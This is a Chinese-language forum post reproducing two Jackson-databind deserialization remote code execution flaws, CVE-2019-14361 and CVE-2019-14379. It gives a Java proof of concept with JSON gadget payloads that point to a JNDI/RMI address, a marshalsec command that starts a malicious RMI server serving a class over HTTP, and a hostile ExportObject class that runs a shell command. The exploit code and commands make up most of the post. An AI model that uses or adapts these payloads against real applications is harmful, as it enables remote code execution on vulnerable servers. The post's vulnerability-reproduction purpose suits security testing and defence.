taibeihacker
Moderator
CVE-2019-14361 CVE-2019-14379漏洞复现
7月30日晚收到了推送,得知Jackson-databind 又出了新的RCE ,又有大佬找到了新的利用方式。漏洞分析
根據Jackson 開發者的issue ,觸發這個Jackson 漏洞需要滿足如下要求,目標應用接收到不可信客戶端發送的JSON 數據
目標應用使用多態類型處理方式來處理java.lang.Object 類型的屬性;
在該漏洞中就是依賴的第三方jar 包有點多(感覺在實際利用過程中能遇到這些個庫也挺巧的)
环境搭建
本文中用到的第三方庫有:jackson-annotations-2.9.8
jackson-core-2.9.8
jackson-databind-2.9.8
ehcache-2.9.1
slf4j-api-1.7.7
logback-core-1.3.0-alpha4
slf4j-simple-1.7.21
javax.transaction_1.0.0.0_1-1
在http://www.mvnrepository.com 上下載即可。
漏洞代码
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import java.lang.Exception;
public class Main {
public static void main(String[] args) {
System.out.println('Mapping');
//注意,在高版本的JDK上存在限制,需要將com.sun.jndi.rmi.object.trustURLCodebase的值設置為true,默認為false
System.setProperty('com.sun.jndi.rmi.object.trustURLCodebase', 'true');
//CVE-2019-14361 payload
String jsonStr1='[\'ch.qos.logback.core.db.JNDIConnectionSource\', {\'jndiLocation\':\'rmi://127.0.0.1:1099/ExportObject\'}]';
//CVE-2019-14379 payload
String jsonStr2='[\'net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\',{\'properties\':{\'jndiName\':\'rmi://127.0.0.1:1099/ExportObject\'}}]';
ObjectMapper mapper=new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
System.out.println('Serializing');
Object obj=null;
try {
//!-此處更換payload-!
obj=mapper.readValue(jsonStr1, java.lang.Object.class);
} catch(Exception e) {
e.printStackTrace();
}
System.out.println('objectified');
try {
mapper.writeValueAsString(obj);
} catch(Exception e) {
e.printStackTrace();
}
try {
System.out.println('stringified: ' + mapper.writeValueAsString(obj));
} catch(Exception e)
{
e.printStackTrace();
}
}
}
构建步骤
本文在IDEA 上生成項目新建java Commandline 項目
將上述代碼複製進Main 函數
單擊紅框中的圖標,進入項目結構設置

將下載好的外部庫導入到項目中
具體導入步驟可以參考我的這篇文章,再此不做贅述https://www.secquan.org/BugWarning/1069944
攻击流程
開啟RMI 服務為了方便,我們可以使用marshalsec這款神器,可以快速開啟RMI 和LDAP 服務。當然你需要下載源碼包,使用maven 編譯。下載鏈接:https://github.com/mbechler/marshalsec,下載到本地後,利用mvn clean package -DskipTests 即可編譯,編譯的結果如下:

開啟RMI 服務:
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8000/#ExportObject

注:# 後面填寫你的惡意類的類名,它會自動綁定URI,rmi 默認端口號為1099 。
編譯ExportObject.java
ExportObject.java代碼內容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.by.rmi;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process proc=Runtime.getRuntime().exec('open /Applications/Calculator.app');
BufferedReader br=new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb=new StringBuffer();
String line;
while((line=br.readLine()) !=null) {
sb.append(line).append('\n');
}
String result=sb.toString();
Exception e=new Exception(result);
throw e;
}
public static void main(String[] args) throws Exception {
ExportObject e=new ExportObject();
}
}
注:上述代碼的功能為在mac 平台上彈出計算器,如更換平台,請自行更換exec 函數中的內容。
編譯成class文件:
javac ExportObject.java
在生成ExportObject.class 文件夾下執行python2 -m SimpleHTTPServer 8000,在本地啟動HTTP 服務。
CVE-2019-14361 测试
將POC 中的payload 更換為jsonStr1,並編譯運行,結果如下:
CVE-2019-14379 测试
將POC 中的payload 更換為jsonStr2,並編譯運行,結果如下:
相應的,rmi 服務運行的截圖如下:
